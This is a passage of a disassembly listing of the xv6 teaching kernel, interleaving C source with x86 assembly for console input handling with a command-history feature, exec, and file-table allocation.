80100a60: 55 push %ebp
80100a61: 89 e5 mov %esp,%ebp
80100a63: 53 push %ebx
80100a64: 83 ec 04 sub $0x4,%esp
if ( history.cmd_count == 0)
80100a67: 8b 1d 34 a5 10 80 mov 0x8010a534,%ebx
80100a6d: 85 db test %ebx,%ebx
80100a6f: 74 47 je 80100ab8 <KeyUpPressed+0x58>
if (history.cursor == 4)
80100a71: 8b 0d 38 a5 10 80 mov 0x8010a538,%ecx
80100a77: 83 f9 04 cmp $0x4,%ecx
80100a7a: 74 2a je 80100aa6 <KeyUpPressed+0x46>
history.cursor = (history.cursor + 1) % 5;
80100a7c: 83 c1 01 add $0x1,%ecx
80100a7f: ba 67 66 66 66 mov $0x66666667,%edx
80100a84: 89 c8 mov %ecx,%eax
80100a86: f7 ea imul %edx
80100a88: 89 c8 mov %ecx,%eax
80100a8a: c1 f8 1f sar $0x1f,%eax
80100a8d: d1 fa sar %edx
80100a8f: 29 c2 sub %eax,%edx
80100a91: 8d 04 92 lea (%edx,%edx,4),%eax
80100a94: 29 c1 sub %eax,%ecx
80100a96: 8d 43 ff lea -0x1(%ebx),%eax
80100a99: 89 ca mov %ecx,%edx
80100a9b: 39 cb cmp %ecx,%ebx
80100a9d: 0f 44 d0 cmove %eax,%edx
80100aa0: 89 15 38 a5 10 80 mov %edx,0x8010a538
fillBuf();
80100aa6: e8 85 fe ff ff call 80100930 <fillBuf>
}
80100aab: 83 c4 04 add $0x4,%esp
80100aae: 5b pop %ebx
80100aaf: 5d pop %ebp
printInput();
80100ab0: e9 3b ff ff ff jmp 801009f0 <printInput>
80100ab5: 8d 76 00 lea 0x0(%esi),%esi
}
80100ab8: 83 c4 04 add $0x4,%esp
80100abb: 5b pop %ebx
80100abc: 5d pop %ebp
80100abd: c3 ret
80100abe: 66 90 xchg %ax,%ax
80100ac0 <KeyDownPressed>:
if ( history.cmd_count == 0)
80100ac0: a1 34 a5 10 80 mov 0x8010a534,%eax
{
80100ac5: 55 push %ebp
80100ac6: 89 e5 mov %esp,%ebp
if ( history.cmd_count == 0)
80100ac8: 85 c0 test %eax,%eax
80100aca: 74 0c je 80100ad8 <KeyDownPressed+0x18>
}
80100acc: 5d pop %ebp
80100acd: e9 5e ff ff ff jmp 80100a30 <KeyDownPressed.part.0>
80100ad2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100ad8: 5d pop %ebp
80100ad9: c3 ret
80100ada: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100ae0 <consoleintr>:
{
80100ae0: 55 push %ebp
80100ae1: 89 e5 mov %esp,%ebp
80100ae3: 57 push %edi
80100ae4: 56 push %esi
80100ae5: 53 push %ebx
int c, doprocdump = 0;
80100ae6: 31 ff xor %edi,%edi
{
80100ae8: 83 ec 18 sub $0x18,%esp
80100aeb: 8b 75 08 mov 0x8(%ebp),%esi
acquire(&cons.lock);
80100aee: 68 60 a5 10 80 push $0x8010a560
80100af3: e8 58 3b 00 00 call 80104650 <acquire>
while((c = getc()) >= 0){
80100af8: 83 c4 10 add $0x10,%esp
80100afb: 90 nop
80100afc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100b00: ff d6 call *%esi
80100b02: 85 c0 test %eax,%eax
80100b04: 89 c3 mov %eax,%ebx
80100b06: 0f 88 b4 00 00 00 js 80100bc0 <consoleintr+0xe0>
switch(c){
80100b0c: 83 fb 15 cmp $0x15,%ebx
80100b0f: 0f 84 cb 00 00 00 je 80100be0 <consoleintr+0x100>
80100b15: 0f 8e 85 00 00 00 jle 80100ba0 <consoleintr+0xc0>
80100b1b: 81 fb e2 00 00 00 cmp $0xe2,%ebx
80100b21: 0f 84 19 01 00 00 je 80100c40 <consoleintr+0x160>
80100b27: 81 fb e3 00 00 00 cmp $0xe3,%ebx
80100b2d: 0f 84 ed 00 00 00 je 80100c20 <consoleintr+0x140>
80100b33: 83 fb 7f cmp $0x7f,%ebx
80100b36: 0f 84 b4 00 00 00 je 80100bf0 <consoleintr+0x110>
if(c != 0 && input.e-input.r < INPUT_BUF){
80100b3c: 85 db test %ebx,%ebx
80100b3e: 74 c0 je 80100b00 <consoleintr+0x20>
80100b40: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
80100b45: 89 c2 mov %eax,%edx
80100b47: 2b 15 e0 ff 10 80 sub 0x8010ffe0,%edx
80100b4d: 83 fa 7f cmp $0x7f,%edx
80100b50: 77 ae ja 80100b00 <consoleintr+0x20>
80100b52: 8d 50 01 lea 0x1(%eax),%edx
80100b55: 83 e0 7f and $0x7f,%eax
c = (c == '\r') ? '\n' : c;
80100b58: 83 fb 0d cmp $0xd,%ebx
input.buf[input.e++ % INPUT_BUF] = c;
80100b5b: 89 15 e8 ff 10 80 mov %edx,0x8010ffe8
c = (c == '\r') ? '\n' : c;
80100b61: 0f 84 f9 00 00 00 je 80100c60 <consoleintr+0x180>
input.buf[input.e++ % INPUT_BUF] = c;
80100b67: 88 98 60 ff 10 80 mov %bl,-0x7fef00a0(%eax)
consputc(c);
80100b6d: 89 d8 mov %ebx,%eax
80100b6f: e8 9c f8 ff ff call 80100410 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
80100b74: 83 fb 0a cmp $0xa,%ebx
80100b77: 0f 84 f4 00 00 00 je 80100c71 <consoleintr+0x191>
80100b7d: 83 fb 04 cmp $0x4,%ebx
80100b80: 0f 84 eb 00 00 00 je 80100c71 <consoleintr+0x191>
80100b86: a1 e0 ff 10 80 mov 0x8010ffe0,%eax
80100b8b: 83 e8 80 sub $0xffffff80,%eax
80100b8e: 39 05 e8 ff 10 80 cmp %eax,0x8010ffe8
80100b94: 0f 85 66 ff ff ff jne 80100b00 <consoleintr+0x20>
80100b9a: e9 d7 00 00 00 jmp 80100c76 <consoleintr+0x196>
80100b9f: 90 nop
switch(c){
80100ba0: 83 fb 08 cmp $0x8,%ebx
80100ba3: 74 4b je 80100bf0 <consoleintr+0x110>
80100ba5: 83 fb 10 cmp $0x10,%ebx
80100ba8: 75 92 jne 80100b3c <consoleintr+0x5c>
while((c = getc()) >= 0){
80100baa: ff d6 call *%esi
80100bac: 85 c0 test %eax,%eax
doprocdump = 1;
80100bae: bf 01 00 00 00 mov $0x1,%edi
while((c = getc()) >= 0){
80100bb3: 89 c3 mov %eax,%ebx
80100bb5: 0f 89 51 ff ff ff jns 80100b0c <consoleintr+0x2c>
80100bbb: 90 nop
80100bbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&cons.lock);
80100bc0: 83 ec 0c sub $0xc,%esp
80100bc3: 68 60 a5 10 80 push $0x8010a560
80100bc8: e8 43 3b 00 00 call 80104710 <release>
if(doprocdump) {
80100bcd: 83 c4 10 add $0x10,%esp
80100bd0: 85 ff test %edi,%edi
80100bd2: 75 7c jne 80100c50 <consoleintr+0x170>
}
80100bd4: 8d 65 f4 lea -0xc(%ebp),%esp
80100bd7: 5b pop %ebx
80100bd8: 5e pop %esi
80100bd9: 5f pop %edi
80100bda: 5d pop %ebp
80100bdb: c3 ret
80100bdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
killLine();
80100be0: e8 db fc ff ff call 801008c0 <killLine>
break;
80100be5: e9 16 ff ff ff jmp 80100b00 <consoleintr+0x20>
80100bea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(input.e != input.w){
80100bf0: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
80100bf5: 3b 05 e4 ff 10 80 cmp 0x8010ffe4,%eax
80100bfb: 0f 84 ff fe ff ff je 80100b00 <consoleintr+0x20>
input.e--;
80100c01: 83 e8 01 sub $0x1,%eax
80100c04: a3 e8 ff 10 80 mov %eax,0x8010ffe8
consputc(BACKSPACE);
80100c09: b8 00 01 00 00 mov $0x100,%eax
80100c0e: e8 fd f7 ff ff call 80100410 <consputc>
80100c13: e9 e8 fe ff ff jmp 80100b00 <consoleintr+0x20>
80100c18: 90 nop
80100c19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if ( history.cmd_count == 0)
80100c20: a1 34 a5 10 80 mov 0x8010a534,%eax
80100c25: 85 c0 test %eax,%eax
80100c27: 0f 84 d3 fe ff ff je 80100b00 <consoleintr+0x20>
80100c2d: e8 fe fd ff ff call 80100a30 <KeyDownPressed.part.0>
80100c32: e9 c9 fe ff ff jmp 80100b00 <consoleintr+0x20>
80100c37: 89 f6 mov %esi,%esi
80100c39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
KeyUpPressed();
80100c40: e8 1b fe ff ff call 80100a60 <KeyUpPressed>
break;
80100c45: e9 b6 fe ff ff jmp 80100b00 <consoleintr+0x20>
80100c4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
80100c50: 8d 65 f4 lea -0xc(%ebp),%esp
80100c53: 5b pop %ebx
80100c54: 5e pop %esi
80100c55: 5f pop %edi
80100c56: 5d pop %ebp
procdump(); // now call procdump() wo. cons.lock held
80100c57: e9 c4 36 00 00 jmp 80104320 <procdump>
80100c5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
input.buf[input.e++ % INPUT_BUF] = c;
80100c60: c6 80 60 ff 10 80 0a movb $0xa,-0x7fef00a0(%eax)
consputc(c);
80100c67: b8 0a 00 00 00 mov $0xa,%eax
80100c6c: e8 9f f7 ff ff call 80100410 <consputc>
80100c71: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
if ( (input.e - input.w) != 1) {
80100c76: 89 c2 mov %eax,%edx
80100c78: 2b 15 e4 ff 10 80 sub 0x8010ffe4,%edx
80100c7e: 83 fa 01 cmp $0x1,%edx
80100c81: 74 1b je 80100c9e <consoleintr+0x1be>
InsertNewCmd();
80100c83: e8 88 fb ff ff call 80100810 <InsertNewCmd>
history.cmd_count++;
80100c88: 83 05 34 a5 10 80 01 addl $0x1,0x8010a534
80100c8f: a1 e8 ff 10 80 mov 0x8010ffe8,%eax
history.cursor = -1;
80100c94: c7 05 38 a5 10 80 ff movl $0xffffffff,0x8010a538
80100c9b: ff ff ff
wakeup(&input.r);
80100c9e: 83 ec 0c sub $0xc,%esp
input.w = input.e;
80100ca1: a3 e4 ff 10 80 mov %eax,0x8010ffe4
wakeup(&input.r);
80100ca6: 68 e0 ff 10 80 push $0x8010ffe0
80100cab: e8 90 35 00 00 call 80104240 <wakeup>
80100cb0: 83 c4 10 add $0x10,%esp
80100cb3: e9 48 fe ff ff jmp 80100b00 <consoleintr+0x20>
80100cb8: 90 nop
80100cb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100cc0 <consoleinit>:
void
consoleinit(void)
{
80100cc0: 55 push %ebp
80100cc1: 89 e5 mov %esp,%ebp
80100cc3: 83 ec 10 sub $0x10,%esp
initlock(&cons.lock, "console");
80100cc6: 68 28 72 10 80 push $0x80107228
80100ccb: 68 60 a5 10 80 push $0x8010a560
80100cd0: e8 3b 38 00 00 call 80104510 <initlock>
devsw[CONSOLE].write = consolewrite;
devsw[CONSOLE].read = consoleread;
cons.locking = 1;
ioapicenable(IRQ_KBD, 0);
80100cd5: 58 pop %eax
80100cd6: 5a pop %edx
80100cd7: 6a 00 push $0x0
80100cd9: 6a 01 push $0x1
devsw[CONSOLE].write = consolewrite;
80100cdb: c7 05 2c 0c 11 80 00 movl $0x80100600,0x80110c2c
80100ce2: 06 10 80
devsw[CONSOLE].read = consoleread;
80100ce5: c7 05 28 0c 11 80 70 movl $0x80100270,0x80110c28
80100cec: 02 10 80
cons.locking = 1;
80100cef: c7 05 94 a5 10 80 01 movl $0x1,0x8010a594
80100cf6: 00 00 00
ioapicenable(IRQ_KBD, 0);
80100cf9: e8 e2 18 00 00 call 801025e0 <ioapicenable>
}
80100cfe: 83 c4 10 add $0x10,%esp
80100d01: c9 leave
80100d02: c3 ret
80100d03: 66 90 xchg %ax,%ax
80100d05: 66 90 xchg %ax,%ax
80100d07: 66 90 xchg %ax,%ax
80100d09: 66 90 xchg %ax,%ax
80100d0b: 66 90 xchg %ax,%ax
80100d0d: 66 90 xchg %ax,%ax
80100d0f: 90 nop
80100d10 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
80100d10: 55 push %ebp
80100d11: 89 e5 mov %esp,%ebp
80100d13: 57 push %edi
80100d14: 56 push %esi
80100d15: 53 push %ebx
80100d16: 81 ec 0c 01 00 00 sub $0x10c,%esp
uint argc, sz, sp, ustack[3+MAXARG+1];
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
struct proc *curproc = myproc();
80100d1c: e8 cf 2d 00 00 call 80103af0 <myproc>
80100d21: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
begin_op();
80100d27: e8 84 21 00 00 call 80102eb0 <begin_op>
if((ip = namei(path)) == 0){
80100d2c: 83 ec 0c sub $0xc,%esp
80100d2f: ff 75 08 pushl 0x8(%ebp)
80100d32: e8 b9 14 00 00 call 801021f0 <namei>
80100d37: 83 c4 10 add $0x10,%esp
80100d3a: 85 c0 test %eax,%eax
80100d3c: 0f 84 91 01 00 00 je 80100ed3 <exec+0x1c3>
end_op();
cprintf("exec: fail\n");
return -1;
}
ilock(ip);
80100d42: 83 ec 0c sub $0xc,%esp
80100d45: 89 c3 mov %eax,%ebx
80100d47: 50 push %eax
80100d48: e8 43 0c 00 00 call 80101990 <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
80100d4d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax
80100d53: 6a 34 push $0x34
80100d55: 6a 00 push $0x0
80100d57: 50 push %eax
80100d58: 53 push %ebx
80100d59: e8 12 0f 00 00 call 80101c70 <readi>
80100d5e: 83 c4 20 add $0x20,%esp
80100d61: 83 f8 34 cmp $0x34,%eax
80100d64: 74 22 je 80100d88 <exec+0x78>
bad:
if(pgdir)
freevm(pgdir);
if(ip){
iunlockput(ip);
80100d66: 83 ec 0c sub $0xc,%esp
80100d69: 53 push %ebx
80100d6a: e8 b1 0e 00 00 call 80101c20 <iunlockput>
end_op();
80100d6f: e8 ac 21 00 00 call 80102f20 <end_op>
80100d74: 83 c4 10 add $0x10,%esp
}
return -1;
80100d77: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100d7c: 8d 65 f4 lea -0xc(%ebp),%esp
80100d7f: 5b pop %ebx
80100d80: 5e pop %esi
80100d81: 5f pop %edi
80100d82: 5d pop %ebp
80100d83: c3 ret
80100d84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(elf.magic != ELF_MAGIC)
80100d88: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp)
80100d8f: 45 4c 46
80100d92: 75 d2 jne 80100d66 <exec+0x56>
if((pgdir = setupkvm()) == 0)
80100d94: e8 87 61 00 00 call 80106f20 <setupkvm>
80100d99: 85 c0 test %eax,%eax
80100d9b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100da1: 74 c3 je 80100d66 <exec+0x56>
sz = 0;
80100da3: 31 ff xor %edi,%edi
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100da5: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp)
80100dac: 00
80100dad: 8b 85 40 ff ff ff mov -0xc0(%ebp),%eax
80100db3: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
80100db9: 0f 84 8c 02 00 00 je 8010104b <exec+0x33b>
80100dbf: 31 f6 xor %esi,%esi
80100dc1: eb 7f jmp 80100e42 <exec+0x132>
80100dc3: 90 nop
80100dc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(ph.type != ELF_PROG_LOAD)
80100dc8: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp)
80100dcf: 75 63 jne 80100e34 <exec+0x124>
if(ph.memsz < ph.filesz)
80100dd1: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax
80100dd7: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax
80100ddd: 0f 82 86 00 00 00 jb 80100e69 <exec+0x159>
80100de3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax
80100de9: 72 7e jb 80100e69 <exec+0x159>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100deb: 83 ec 04 sub $0x4,%esp
80100dee: 50 push %eax
80100def: 57 push %edi
80100df0: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100df6: e8 45 5f 00 00 call 80106d40 <allocuvm>
80100dfb: 83 c4 10 add $0x10,%esp
80100dfe: 85 c0 test %eax,%eax
80100e00: 89 c7 mov %eax,%edi
80100e02: 74 65 je 80100e69 <exec+0x159>
if(ph.vaddr % PGSIZE != 0)
80100e04: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100e0a: a9 ff 0f 00 00 test $0xfff,%eax
80100e0f: 75 58 jne 80100e69 <exec+0x159>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100e11: 83 ec 0c sub $0xc,%esp
80100e14: ff b5 14 ff ff ff pushl -0xec(%ebp)
80100e1a: ff b5 08 ff ff ff pushl -0xf8(%ebp)
80100e20: 53 push %ebx
80100e21: 50 push %eax
80100e22: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100e28: e8 53 5e 00 00 call 80106c80 <loaduvm>
80100e2d: 83 c4 20 add $0x20,%esp
80100e30: 85 c0 test %eax,%eax
80100e32: 78 35 js 80100e69 <exec+0x159>
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100e34: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax
80100e3b: 83 c6 01 add $0x1,%esi
80100e3e: 39 f0 cmp %esi,%eax
80100e40: 7e 3d jle 80100e7f <exec+0x16f>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100e42: 89 f0 mov %esi,%eax
80100e44: 6a 20 push $0x20
80100e46: c1 e0 05 shl $0x5,%eax
80100e49: 03 85 ec fe ff ff add -0x114(%ebp),%eax
80100e4f: 50 push %eax
80100e50: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax
80100e56: 50 push %eax
80100e57: 53 push %ebx
80100e58: e8 13 0e 00 00 call 80101c70 <readi>
80100e5d: 83 c4 10 add $0x10,%esp
80100e60: 83 f8 20 cmp $0x20,%eax
80100e63: 0f 84 5f ff ff ff je 80100dc8 <exec+0xb8>
freevm(pgdir);
80100e69: 83 ec 0c sub $0xc,%esp
80100e6c: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100e72: e8 29 60 00 00 call 80106ea0 <freevm>
80100e77: 83 c4 10 add $0x10,%esp
80100e7a: e9 e7 fe ff ff jmp 80100d66 <exec+0x56>
80100e7f: 81 c7 ff 0f 00 00 add $0xfff,%edi
80100e85: 81 e7 00 f0 ff ff and $0xfffff000,%edi
80100e8b: 8d b7 00 20 00 00 lea 0x2000(%edi),%esi
iunlockput(ip);
80100e91: 83 ec 0c sub $0xc,%esp
80100e94: 53 push %ebx
80100e95: e8 86 0d 00 00 call 80101c20 <iunlockput>
end_op();
80100e9a: e8 81 20 00 00 call 80102f20 <end_op>
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100e9f: 83 c4 0c add $0xc,%esp
80100ea2: 56 push %esi
80100ea3: 57 push %edi
80100ea4: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100eaa: e8 91 5e 00 00 call 80106d40 <allocuvm>
80100eaf: 83 c4 10 add $0x10,%esp
80100eb2: 85 c0 test %eax,%eax
80100eb4: 89 c6 mov %eax,%esi
80100eb6: 75 3a jne 80100ef2 <exec+0x1e2>
freevm(pgdir);
80100eb8: 83 ec 0c sub $0xc,%esp
80100ebb: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100ec1: e8 da 5f 00 00 call 80106ea0 <freevm>
80100ec6: 83 c4 10 add $0x10,%esp
return -1;
80100ec9: b8 ff ff ff ff mov $0xffffffff,%eax
80100ece: e9 a9 fe ff ff jmp 80100d7c <exec+0x6c>
end_op();
80100ed3: e8 48 20 00 00 call 80102f20 <end_op>
cprintf("exec: fail\n");
80100ed8: 83 ec 0c sub $0xc,%esp
80100edb: 68 41 72 10 80 push $0x80107241
80100ee0: e8 7b f7 ff ff call 80100660 <cprintf>
return -1;
80100ee5: 83 c4 10 add $0x10,%esp
80100ee8: b8 ff ff ff ff mov $0xffffffff,%eax
80100eed: e9 8a fe ff ff jmp 80100d7c <exec+0x6c>
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100ef2: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax
80100ef8: 83 ec 08 sub $0x8,%esp
for(argc = 0; argv[argc]; argc++) {
80100efb: 31 ff xor %edi,%edi
80100efd: 89 f3 mov %esi,%ebx
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100eff: 50 push %eax
80100f00: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100f06: e8 b5 60 00 00 call 80106fc0 <clearpteu>
for(argc = 0; argv[argc]; argc++) {
80100f0b: 8b 45 0c mov 0xc(%ebp),%eax
80100f0e: 83 c4 10 add $0x10,%esp
80100f11: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
80100f17: 8b 00 mov (%eax),%eax
80100f19: 85 c0 test %eax,%eax
80100f1b: 74 70 je 80100f8d <exec+0x27d>
80100f1d: 89 b5 ec fe ff ff mov %esi,-0x114(%ebp)
80100f23: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi
80100f29: eb 0a jmp 80100f35 <exec+0x225>
80100f2b: 90 nop
80100f2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(argc >= MAXARG)
80100f30: 83 ff 20 cmp $0x20,%edi
80100f33: 74 83 je 80100eb8 <exec+0x1a8>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100f35: 83 ec 0c sub $0xc,%esp
80100f38: 50 push %eax
80100f39: e8 42 3a 00 00 call 80104980 <strlen>
80100f3e: f7 d0 not %eax
80100f40: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100f42: 8b 45 0c mov 0xc(%ebp),%eax
80100f45: 5a pop %edx
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100f46: 83 e3 fc and $0xfffffffc,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100f49: ff 34 b8 pushl (%eax,%edi,4)
80100f4c: e8 2f 3a 00 00 call 80104980 <strlen>
80100f51: 83 c0 01 add $0x1,%eax
80100f54: 50 push %eax
80100f55: 8b 45 0c mov 0xc(%ebp),%eax
80100f58: ff 34 b8 pushl (%eax,%edi,4)
80100f5b: 53 push %ebx
80100f5c: 56 push %esi
80100f5d: e8 be 61 00 00 call 80107120 <copyout>
80100f62: 83 c4 20 add $0x20,%esp
80100f65: 85 c0 test %eax,%eax
80100f67: 0f 88 4b ff ff ff js 80100eb8 <exec+0x1a8>
for(argc = 0; argv[argc]; argc++) {
80100f6d: 8b 45 0c mov 0xc(%ebp),%eax
ustack[3+argc] = sp;
80100f70: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4)
for(argc = 0; argv[argc]; argc++) {
80100f77: 83 c7 01 add $0x1,%edi
ustack[3+argc] = sp;
80100f7a: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
for(argc = 0; argv[argc]; argc++) {
80100f80: 8b 04 b8 mov (%eax,%edi,4),%eax
80100f83: 85 c0 test %eax,%eax
80100f85: 75 a9 jne 80100f30 <exec+0x220>
80100f87: 8b b5 ec fe ff ff mov -0x114(%ebp),%esi
ustack[2] = sp - (argc+1)*4; // argv pointer
80100f8d: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax
80100f94: 89 d9 mov %ebx,%ecx
ustack[3+argc] = 0;
80100f96: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4)
80100f9d: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
80100fa1: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp)
80100fa8: ff ff ff
ustack[1] = argc;
80100fab: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100fb1: 29 c1 sub %eax,%ecx
sp -= (3+argc+1) * 4;
80100fb3: 83 c0 0c add $0xc,%eax
80100fb6: 29 c3 sub %eax,%ebx
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100fb8: 50 push %eax
80100fb9: 52 push %edx
80100fba: 53 push %ebx
80100fbb: ff b5 f0 fe ff ff pushl -0x110(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100fc1: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100fc7: e8 54 61 00 00 call 80107120 <copyout>
80100fcc: 83 c4 10 add $0x10,%esp
80100fcf: 85 c0 test %eax,%eax
80100fd1: 0f 88 e1 fe ff ff js 80100eb8 <exec+0x1a8>
for(last=s=path; *s; s++)
80100fd7: 8b 45 08 mov 0x8(%ebp),%eax
80100fda: 0f b6 00 movzbl (%eax),%eax
80100fdd: 84 c0 test %al,%al
80100fdf: 74 17 je 80100ff8 <exec+0x2e8>
80100fe1: 8b 55 08 mov 0x8(%ebp),%edx
80100fe4: 89 d1 mov %edx,%ecx
80100fe6: 83 c1 01 add $0x1,%ecx
80100fe9: 3c 2f cmp $0x2f,%al
80100feb: 0f b6 01 movzbl (%ecx),%eax
80100fee: 0f 44 d1 cmove %ecx,%edx
80100ff1: 84 c0 test %al,%al
80100ff3: 75 f1 jne 80100fe6 <exec+0x2d6>
80100ff5: 89 55 08 mov %edx,0x8(%ebp)
safestrcpy(curproc->name, last, sizeof(curproc->name));
80100ff8: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi
80100ffe: 50 push %eax
80100fff: 6a 10 push $0x10
80101001: ff 75 08 pushl 0x8(%ebp)
80101004: 89 f8 mov %edi,%eax
80101006: 83 c0 6c add $0x6c,%eax
80101009: 50 push %eax
8010100a: e8 31 39 00 00 call 80104940 <safestrcpy>
curproc->pgdir = pgdir;
8010100f: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx
oldpgdir = curproc->pgdir;
80101015: 89 f9 mov %edi,%ecx
80101017: 8b 7f 04 mov 0x4(%edi),%edi
curproc->tf->eip = elf.entry; // main
8010101a: 8b 41 18 mov 0x18(%ecx),%eax
curproc->sz = sz;
8010101d: 89 31 mov %esi,(%ecx)
curproc->pgdir = pgdir;
8010101f: 89 51 04 mov %edx,0x4(%ecx)
curproc->tf->eip = elf.entry; // main
80101022: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx
80101028: 89 50 38 mov %edx,0x38(%eax)
curproc->tf->esp = sp;
8010102b: 8b 41 18 mov 0x18(%ecx),%eax
8010102e: 89 58 44 mov %ebx,0x44(%eax)
switchuvm(curproc);
80101031: 89 0c 24 mov %ecx,(%esp)
80101034: e8 b7 5a 00 00 call 80106af0 <switchuvm>
freevm(oldpgdir);
80101039: 89 3c 24 mov %edi,(%esp)
8010103c: e8 5f 5e 00 00 call 80106ea0 <freevm>
return 0;
80101041: 83 c4 10 add $0x10,%esp
80101044: 31 c0 xor %eax,%eax
80101046: e9 31 fd ff ff jmp 80100d7c <exec+0x6c>
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
8010104b: be 00 20 00 00 mov $0x2000,%esi
80101050: e9 3c fe ff ff jmp 80100e91 <exec+0x181>
80101055: 66 90 xchg %ax,%ax
80101057: 66 90 xchg %ax,%ax
80101059: 66 90 xchg %ax,%ax
8010105b: 66 90 xchg %ax,%ax
8010105d: 66 90 xchg %ax,%ax
8010105f: 90 nop
80101060 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80101060: 55 push %ebp
80101061: 89 e5 mov %esp,%ebp
80101063: 83 ec 10 sub $0x10,%esp
initlock(&ftable.lock, "ftable");
80101066: 68 4d 72 10 80 push $0x8010724d
8010106b: 68 80 02 11 80 push $0x80110280
80101070: e8 9b 34 00 00 call 80104510 <initlock>
}
80101075: 83 c4 10 add $0x10,%esp
80101078: c9 leave
80101079: c3 ret
8010107a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101080 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80101080: 55 push %ebp
80101081: 89 e5 mov %esp,%ebp
80101083: 53 push %ebx
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80101084: bb b4 02 11 80 mov $0x801102b4,%ebx
{
80101089: 83 ec 10 sub $0x10,%esp
acquire(&ftable.lock);
8010108c: 68 80 02 11 80 push $0x80110280
80101091: e8 ba 35 00 00 call 80104650 <acquire>
80101096: 83 c4 10 add $0x10,%esp
80101099: eb 10 jmp 801010ab <filealloc+0x2b>
8010109b: 90 nop
8010109c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(f = ftable.file; f < ftable.file + NFILE; f++){
801010a0: 83 c3 18 add $0x18,%ebx
801010a3: 81 fb 14 0c 11 80 cmp $0x80110c14,%ebx
801010a9: 73 25 jae 801010d0 <filealloc+0x50>
if(f->ref == 0){
801010ab: 8b 43 04 mov 0x4(%ebx),%eax
801010ae: 85 c0 test %eax,%eax
801010b0: 75 ee jne 801010a0 <filealloc+0x20>
f->ref = 1;
release(&ftable.lock);
801010b2: 83 ec 0c sub $0xc,%esp
